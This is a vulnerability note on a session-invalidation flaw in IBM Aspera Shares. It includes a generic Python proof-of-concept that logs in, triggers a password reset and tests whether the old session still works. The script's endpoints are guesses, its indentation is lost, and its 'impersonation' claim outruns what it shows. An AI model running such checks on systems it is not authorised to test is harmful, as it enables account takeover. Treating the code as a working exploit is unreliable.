IBM Aspera Shares 1.9.9 through 1.11.0 does not invalidate session after a password reset which could allow an authenticated user to impersonate another user on the system.
The following code is for security research and authorized testing only.
python
import requests
# Conceptual Proof of Concept for CVE-2025-66483
# This script demonstrates checking if a session remains valid after a password reset.
target_url = "https://target-aspera-server.com"
login_endpoint = f"{target_url}/login"
reset_endpoint = f"{target_url}/api/reset_password"
protected_resource = f"{target_url}/user/profile"
session = requests.Session()
# Step 1: Authenticate as a user
credentials = {"username": "victim_user", "password": "oldPassword"}
session.post(login_endpoint, data=credentials)
print(f"[+] Logged in. Session Cookie: {session.cookies.get_dict()}")
# Step 2: Simulate triggering a password reset (or admin reset)
# In a real scenario, this might involve sending a specific API request
reset_payload = {"user_id": "victim_user", "new_password": "newStrongPassword"}
reset_response = session.post(reset_endpoint, data=reset_payload)
if reset_response.status_code == 200:
print("[+] Password reset request processed.")
# Step 3: Attempt to access protected resource using the OLD session
# If the vulnerability exists, the server accepts the old session cookie despite the password change.
resource_response = session.get(protected_resource)
if resource_response.status_code == 200:
print("[!] VULNERABLE: The old session is still valid after password reset!")
print(f"[!] Impersonation successful. Response: {resource_response.text[:100]}...")
else:
print("[-] Session invalidated correctly. Target is patched.")
else:
print("[-] Failed to trigger password reset.")